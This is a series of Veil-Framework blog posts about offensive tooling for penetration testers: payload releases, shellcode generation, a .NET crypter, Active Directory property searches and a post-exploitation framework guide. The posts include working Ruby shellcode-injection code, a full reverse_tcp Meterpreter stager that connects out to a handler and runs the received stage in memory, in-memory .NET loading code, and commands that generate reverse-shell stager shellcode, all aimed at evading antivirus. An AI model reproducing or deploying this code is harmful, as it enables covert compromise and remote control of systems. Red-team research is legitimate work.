March V-Day

Hello All!

For this (late) March V-Day, we’re happy to add in a module that was developed and submitted to us from @byt3bl33d3r! This is a python based beaconing payload. The payload was based off of the original POC from @midnite_runr (available here).

If configured to beacon out for data, the payload will continuously call back to a system of the attacker’s choice every X seconds. Once the beacon receives data (a web server 200 code) from the web server, it will attempt to inject the data into memory and execute it.

To use this payload, you will want to dump the raw shellcode to a file, vs. storing it in a \x1f\xbc… format.

Thanks to @midnite_runr for the original POC and thanks to @byt3bl33d3r for not only writing the module, but working with us to get it ready for release!

Posted on March 23, 2015 by Christopher Truncer 1

February V-Day – Binding Payload

Happy belated Valentine’s Day all!

For February 2015’s V-Day :) we have merged in and accept a payload submitted from m1m1x! The payload added in through this pull request creates a python based payload that binds to a user-specified port on the machine (versus performing a reverse connection) and waits for the connection from your handler.

Additionally, m1m1x has added in code that will allow you to generate x64 python port-binding payloads. In order to do this, you will need to have x64 wine with x64 python installed within wine. As of now, this will have to be manually performed by the user.

If anyone has any questions, feel free to hit us up in #veil on freenode!

Posted on February 17, 2015 by Christopher Truncer 0

January 2015 V-Day!

Welcome to 2015! For our January 2015 V-Day, we have a small addition to our Ruby shellcode injection payload. Currently, the payloads are injection shellcode into memory using the VirtualAlloc API call routine, but this was the only method. We’ve just added in the ability to inject shellcode into memory via HeapCreate and HeapAlloc.

Additionally, the Metasploit Project devs have updated Meterpreter to version 0.0.13. We’ve just added support for the latest version of Meterpreter in Veil-Evasion.

If anyone has any questions, feel free to reach out to us!

#avlol

Posted on January 21, 2015 by Christopher Truncer 0

December V-Day – Ruby Stagers!

Happy Holidays!

For our December V-Day we are releasing ruby http and https stagers! These stagers are written purely in ruby and don’t utilize any shellcode. Like most ruby payloads, these are fairly tiny once “compiled” (unlike python payloads). Hope that everyone is able to use these for some fun pwning!

Posted on December 18, 2014 by Christopher Truncer 0

November V-Day – Self-Contained Ruby Payloads

So, last month was our first V-day that we missed. It’s unfortunate, but life happens. We’re sure everyone was quite capable of #avloling without last month’s V-Day, but we’re back this month!

For our November V-Day, we’re happy to release self-contained reverse_http & reverse_https payloads written in Ruby. These payloads are similar to our self-contained python payloads. The meterpreter dll is contained within the executable created by Veil-Evasion. This means that your payload never needs to receive the meterpreter dll over the wire. When the payload connects back to the handler, it is simply registered as an orphaned connection, and quickly establishes a connection with the handler for command and control.

If you have any questions on how these payloads work, feel free to hit us up on Freenode within #veil or on twitter!

Posted on November 17, 2014November 17, 2014 by Christopher Truncer 0

Veil-Ordnance – Fast Stager Shellcode Generation

Generating shellcode is a task that nearly all pen testers have to do at some point, unless they write their own shellcode. The typical way of generating shellcode consists of using msfvenom, or the combination of msfpayload and msfencode. Both of these methods can easily generate shellcode for the payload of your choice, and you can invoke shellcode encoders, if necessary, to avoid bad characters.

Since its release, Veil-Evasion has always relied on msfvenom for generating the shellcode within Veil-Evasion payloads. Leveraging another tool’s capabilities has allowed us to rely on the Metasploit Framework to handle the shellcode generation without requiring too much effort on our end. However, this has also caused some issues. On two separate instances, updates to msfvenom’s output has caused Veil-Evasion to “break” by creating invalid/non-working payloads. This is because Veil-Evasion is parsing the msfvenom output. In the event that the msfvenom output changes, then our ability to parse it typically breaks, and requires a patch on our end. Will Schroeder (@harmj0y), Mike Wright (@themightyshiv), and myself (@ChrisTruncer) identified this issue fairly early on when developing Veil-Evasion, and we basically took the approach that we hoped there wouldn’t be changes to the output, or we would deal with it. Well, we were obviously wrong. After the first break in compatibility, we discussed the need for having our own shellcode generator independent of the Metasploit Framework. Even through we agreed it was needed, our other commitments kept our attention. That was, until we ran into the issue a second time. At this point, we felt it was something we actually needed to look into.

Jon Yates (@redbeardsec) made a significant contribution by diving into the Metasploit source code to understand how the base MSF shellcode is generated. He helped catch me up to speed with everything he had learned, and really was a huge asset in writing Veil-Ordnance. Armed with what I needed to know thanks to Jon, I started writing a small POC that would generate shellcode for a few different payloads. I selected a few of the more “popular” payloads to support for the initial release, and added them into Ordnance. However, the tool would require at least one encoder for use, and Justin Warner (@sixdub) graciously created a single byte xor encoder, and said I was free to add it in to Ordnace. With six different payloads, a single encoder, and a good amount of QA time, I’m happy to push out the initial release of Veil-Ordnance.

Github Link: https://github.com/Veil-Framework/Veil-Ordnance

NOTE: One MAJOR point to note here, is that Ordnance is a pure port of Metasploit’s stagers within the Metasploit Framework. We did not write these stagers, they were ported from Ruby into Python, and added to Ordnance. The Metasploit Framework developers are the guys who deserve full credit for creating these payloads.

Ordnance has multiple features that I find helpful:

Instant generation of the stager shellcode
- reverse_tcp
- bind_tcp
- reverse_http
- reverse_https
- reverse_tcp_dns
- reverse_tcp_all_ports
An encoder is available for removal of most bad characters
The default Ordnance output will always remain the same
- By default, only the shellcode is returned to the console
- With extra flags, the user can obtain the shellcode “metadata” (size, xor key, etc.)

Ordnance is used by passing parameters to it via the command line. Ordnance’s command line parameters are:

-p – payload type (rev_tcp, bind_tcp, rev_http, rev_https, rev_tcp_dns, rev_tcp_all_ports)
–ip – IP address (or domain) to connect to for reverse payloads
–port – Port number to connect to, or listen on
-e – Encoder to use when encoding shellcode
-b – Bad character(s) to avoid within the shellcode (\x00\x0a)
–print-stats – Prints the extra “metadata” about the generated shellcode
–list-payloads – lists all currently available payloads
–list-encoders – lists all currently available encoders

To use Ordnance to generate reverse tcp stager shellcode, you could use the following command:

./Veil-Ordnance.py -p rev_tcp --ip 192.168.63.149 --port 8675

This will output reverse tcp stager shellcode which can be copied and pasted for use. If you wanted to use Ordnance to generate reverse https stager shellcode, avoid the use of “\x00” and “\x0a”, and see the length of the generated shellcode, you could use the following command:

./Veil-Ordnance.py -p rev_https --ip 192.168.63.149 --port 443 -e xor -b \x00\x0a --print-stats

Assuming the encoder does not run into any character encoding issues, Ordnance would output the stats about the shellcode generated, and then the shellcode itself.

I would love to call upon to community to help add one or two more encoders into Ordnance. The more encoders, the better to try to help ensure all bad characters could be avoided if necessary.

If anyone has any questions about how to use Veil-Ordnance, please feel free to get in touch with us on twitter (@veilframework), hop on IRC in #veil, or hit us up on Github! If anyone finds any bugs, please let us know! Opening an issue on Github lets us easily track problems! Thanks, and we hope that this can help!

Posted on October 7, 2014October 7, 2014 by Christopher Truncer 5

Honor Amongst Thieves – Building Trust in Veil-Evasion Payloads

Anytime that a professional pen tester, or red teamer, uses a tool on an assessment, your customer is trusting you to not introduce additional vulnerabilities into their network. When you create a backdoor through Veil-Evasion, or any other payload generator, you need to be sure that the payload you are creating connects back to you and only you. So how can you ensure that the payloads generated by Veil-Evasion only connects to where it is explicitly specified to connect to? One way would be to perform a complete source code review of Veil-Evasion and perform an environmental analysis of the generated payload. This method would provide the highest level of assurance.

There is also another way. There are a number of scripts that can be used to extract the Python source code from a PyInstaller executable. One such script is called PyInstaller Extractor and written by extremecoders. This script will extract all files within the PyInstaller executable, including the Python source code. We can then compare the extracted Python source code with the source code file that’s created alongside of the PyInstaller executable when using Veil-Evasion. The two Python source code files will match up and prove that there is not any additional code added inside the “compiled” payload, thus the original source code output can be reviewed and trusted as being the actual source code in the resulting payload. Ironically, as long as the original source code is reviewed and understood to be non-malicious, then you can trust Veil-Evasion payloads. So, let’s get along with proving this!

Note: This article only discusses PyInstaller payloads.

First, download the PyInstaller Extractor script and place it in the same directory as your Python payload. Call the PyInstaller Extractor script and pass the Veil-Evasion payload in as the script’s only option. The script will now extract the files from the PyInstaller executable. When you ls you should see the different files that were contained within the payload.

Extracted Payload

In this case, since the payload we are looking at was named veilpayload.exe, the extracted file we are looking for is therefore veilpayload. The veilpayload file contains the Python code that is carried out when running the original executable. Now, lets perform a comparison of the source code output from Veil-Evasion, and the extracted source code.

Original Source Code

Original Source Code Output from Veil-Evasion

Extracted Python Code

Extracted Source Code from Veil-Evasion Payload

Performing a quick visual check against the two scripts shows that they are virtually identical outside of small formatting differences and the additional null byte at the end of the extracted source code. Performing a diff of the two files also verifies this information.

Scripts diffed

In retrospect, this probably should have been among the first few published posts since Veil-Evasion’s initial release. However, hindsight is always 20/20, so we’re happy we’re able to provide some level of assurance that your Veil-Evasion payloads aren’t backdoored in any way. Please feel free to follow the steps outlined in this blog post to verify for yourself. If you have any additional questions, feel free to hit us up on Twitter, Github, E-mail, or on Freenode in #veil!

Posted on October 3, 2014October 3, 2014 by Christopher Truncer 1

A Year of V-Days

Exactly a year ago today, we introduced V-Day, our continuous release cycle for Veil-Evasion. We wanted to provide a way to systematically release our evasion research as it progressed, as well as letting everyone know that Veil-Evasion is an actively maintained and developed project.

Back in May we reflected on a year of development for the Veil-Framework. We promise we won’t wax poetic again about the how far the project’s come, how much fun we’ve had developing Veil and interacting with the community, or how awesome the reception at Defcon was from everyone.

Instead, we’re going to cut to the chase and detail our 1 year V-Day anniversary, our biggest release yet.

Ruby Modules

The coolest news this month is the release of Ruby payload modules. Ruby has a foreign function interface similar to Python’s ctypes. It’s a gem named win32-api, and it will allow you to access and manipulate lower-level Windows32 API functions. This means we can inject shellcode generated from msfvenom using the newly released ruby/shellcode_inject/flat module:

require 'rubygems'
require 'win32/api'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# our shellcode
payload = "\xfc\xe8\x89..."

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

But it doesn’t stop there. With this API access, we can also build a pure Ruby reverse_tcp Meterpreter stager, following the same pattern we’ve described in the past. The ruby/meterpreter/rev_tcp stager is a pure-Ruby stage 1 Meterpreter loader, which doesn’t rely on shellcode:

require 'rubygems'
require 'win32/api'
require 'socket'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# needed to translate a ruby socket into an actual system file descriptor / socket num
get_osfhandle = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')

# connect to our handler
s = TCPSocket.open('192.168.52.150', 4444)

# read/decode the size of the metepreter payload being transmitted
payloadLength = Integer(s.recv(4).unpack('L')[0])

# 5 spaces -> 1 byte for ASM code, 4 byes for socket descriptor (below)
payload = "     "

# make sure we get all of the meterpreter payload
while payload.length < payloadLength payload += s.recv(payloadLength) end #prepend a little assembly to move our SOCKET value to the EDI register # BF 78 56 34 12 => mov edi, 0x12345678
payload[0] = ['BF'].pack("H*")
socketID = get_osfhandle.call(s.fileno)

# copy in the underlying socket ID into the buffer
for i in 1..4
payload[i] = Array(socketID).pack('V')[i-1]
end

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

These Ruby approaches are great, but you’re probably heard us iterate again and again on how we want a single monolithic attack platform. We hate having to switch back to a Windows box with a specific environment installed (Python, Ruby, etc.) in order to compile our backdoors. Hence our philosophy of trying to only release module families that can compile to Windows executables, all on Kali linux.

Luckily, Ruby has a nice analogue for Pyinstaller, a gem named OCRA, which stands for “One Click Ruby Application”. It follows the same general idea that Pyinstaller does, by wrapping up a Ruby environment, dependencies and target script that are extracted to a temporary directory on a target and executed. And happily, with a bit of trickery we can get this all running on Kali linux as well :)

With the new update, the ./setup.sh script for Veil-Evasion will install Ruby under Wine along with the necessary gems. We’ll have a few more Ruby stagers for release next month, and I spoke about this payload family during my BSides Augusta presentation “Adventures in Asymmetric Warfare: Fighting the AV Vendors“.

A .NET Crypter

Also released this V-Day, and also covered in the BSides Augusta presentation, is a basic .NET “crypter” named Arya. C#/VB.net code is compiled, not interpreted, so we can’t quite build a dynamic obfuscator equivalent to Pyherion. However, .NET has an interesting feature called reflection, which you can use to create type instances at run time, and to invoke and access them. If we have an array of raw bytes of a .NET binary, we can run the entire executable from memory with 3 lines by utilizing reflection:


Assembly a = Assembly.Load(bytes);
MethodInfo m = a.EntryPoint;
m.Invoke(a.CreateInstance(m.Name), null);

We can obfuscate those bytes in any way we want beforehand, and can store them locally in the file or remotely to download and execute. When Arya is run as a standalone script, you have the option to feed it C# source code or a precompiled .NET .exe. It will then generate either a launcher for the obfuscated source, or a dropper that downloads the obfuscated .NET snippet from a URI. The option use_arya has also been implemented into every C# Veil-Evasion payload, giving you the option to implement another level of obfuscation:

Ubuntu Compatibility

One of the most common requests we received at Defcon was for support beyond just Kali linux. And while Kali remains as our only *officially* supported platform, we’re happy to announce that @TheMightyShiv has brought Ubuntu 14+ and Debian 7+ compatibility to Veil-Evasion, along with non-root installations!

If you have a fresh Ubuntu 14 image, you can run the short setup script hosted at this gist which will install the latest versions of the Metasploit framework and Veil-Evasion.

If you already have Metasploit installed, clone off Veil-Evasion and fire up the ./setup/setup.sh script:

$ git clone https://github.com/Veil-Framework/Veil-Evasion.git
$ cd Veil-Evasion/setup/
$ ./setup.sh

When you launch the script, you’ll be prompted for your password to sudo. While all the Apt dependencies are being installed, you’ll be on this screen for a bit:

If you want to check the status of the install or see what’s happening, check the setup.log in the ./setup/ folder:

When you hit this screen, tab over to <Yes> to accept the EULA:

And when you his this screen, click Yes to overwrite the existing files:

Finally, when you hit the end of the setup, enter the installation path for your Metasploit installation. If you used the gist setup or other common setup scripts, this path is likely at /usr/local/share/metasploit-framework/ :

After that everything *should* run properly. There are likely a few issues we missed, so if you run into any problems please submit an issue to our github.

Thanks again to everyone for all their support. We’re looking forward to another great year of releases.

Posted on September 15, 2014 by Harm J0y 2

Searching User Properties with Veil-PowerView

A few months ago, @obscuresec published a post on finding and extracting custom user properties in Active Directory using PowerShell. Veil-PowerView 1.4 added some cmdlets that integrated (read: shamelessly stole :) some of this functionality, and I wanted to briefly cover how to utilize these new methods.

As Chris states in his post, “Since most administrators interact with AD with a MMC snapin, they mistakingly believe that custom fields can’t be viewed by other user“. To enumerate all custom fields from user AD objects with Veil-PowerView, use the Get-UserProperties function:

PS C:\> Get-UserProperties

This will dump out all the fields for user objects. If you want to extract out all users/values for a particular field, use the -Properties flag with one or more property names:

PS C:\> Get-UserProperties -Properties description,info

If you want to search particular fields for wildcard terms, Invoke-UserFieldSearch will take care of that for you. It defaults to searching the ‘description’ field for ‘*pass*’. If you want to search another field, say for something custom you found from Get-UserProperties, just supply the field and terms you want:

PS C:\> Invoke-UserFieldSearch -Field info -Term backup

You’d be surprised as to the information you can find in Active Directory, even from non-privileged/basic user accounts :)

Posted on September 8, 2014 by Harm J0y 1

Veil-Pillage: A Usage Guide

Veil-Pillage is a modular post-exploitation framework released last month at Defcon. We’ve had some great feedback already, and we wanted to put together a quick usage guide for anyone interested in playing around with its functionality. We also had our first module pull request recently, management/enable_proxy, contributed by byt3bl33d3r. This module will let you manually set the system proxy on a target host or hosts, check it out!

First things first, installation. The best way to pull down the latest version of the Veil-Framework is to first clone down the Veil master project from github:

root@kali:~# git clone https://github.com/Veil-Framework/Veil.git

Then change into the Veil directory and run the update.sh script which will pull down all the project submodules and run all appropriate setups:

root@kali:~/Veil# ./update.sh

If you’re running this on Kali linux, our only officially supported platform at this point, everything should pull down and install correctly. Change into the Veil-Pillage directory and launch ./Veil-Pillage.py. You’ll then be presented with the main menu:

Here you can see the number of modules currently loaded, as well as the common commands available. Now for some basic usage. The first thing you’ll want to do is to give Pillage a set of targets and a set of credentials. This can be done in several ways. You can set targets with a space or comma separated list, an existing target text file, or just with “set targets” for an interactive menu:

Credentials work similarly, with set creds [domain]/user:password or set creds [domain]/user:LM:NTLM. Specifying a creddump file with set creds file.txt works as well:

After you have your target and credential sets worked out, you need to choose a module to execute. List will list all of the modules available. You can select a module with “use #” where # is the number from the list command, or use action/module/… which allows you to tab-complete the loaded module path:

This will drop you into the module menu, where you will see a description of the module, required options, and module commands:

The most common option you’ll see across most modules is “trigger_method”, which controls how the specified action is executed on the target machine. “wmis” will utilize pth-wmis from the passing-the-hash toolkit which doesn’t create a service and is preferable in most situations, “winexe” will utilize pth-winexe and creates a service as well as dropping a binary to disk, and Impacket’s “smbexec” which creates a service but doesn’t drop a binary. What action you choose will depend on the specific situation you’re encountering, but wmis is usually set as the default.

If you want to set a module specific option across ALL modules, setg will set a specific option globally. This command can also be used from the main menu.

Once you have everything set to your liking, the run command will start execution. You’ll be prompted to make sure you want to execute the module, and then everything will kick off. After execution is completed, you’ll get the standard output menu. Status files are output to /root/veil-output/pillage/MODULE/<timestamp>.out. Typing yes will display the output file for the module:

The output file will tell you exactly what action was performed on what host with what credentials. Every module that has any kind of reciprocal cleanup action will automatically produce a cleanup file that’s output to /root/veil-output/pillage/MODULE/<timestamp>.pc . You can run this file with “cleanup <file>.pc” from the main menu:

There’s also a global cleanup file that keeps track of all cleanup actions for all modules. If you type cleanup on the main menu, it will prompt you to use this global file, which will then cleanup all affected hosts and then reset the cleanup file itself.

A few last things: the UI experience for Veil-Pillage was a major focus in development. Everything that could be tab-completable was made to be so, and reasonable error-handling/checking was built in wherever it made sense. There is also a complete set of command line flags for every possible option and action in Veil-Pillage, something we’ll cover in more depth in a future blog post. Also, whenever you exit Veil-Pillage, through exit, ctrl+c, or if there is some error in execution, the program state is automatically saved to pillage.state. When you start Pillage back up, it will ask you if you want to restore this state file. If you do, your credential and target sets are restored, module options set to their modified values, and you’re thrown right back into the module menu you were operating in.

In case you want to see some more Veil-Pillage functionality demonstrated, the recorded demos given during the Defcon presentation are available here, and Pillage’s README.md contains a bit more information as well. If you encounter any issues or have any module ideas, please submit issues and/or pull requests to Pillage’s github.

Posted on September 1, 2014 by Harm J0y 4

Veil – Framework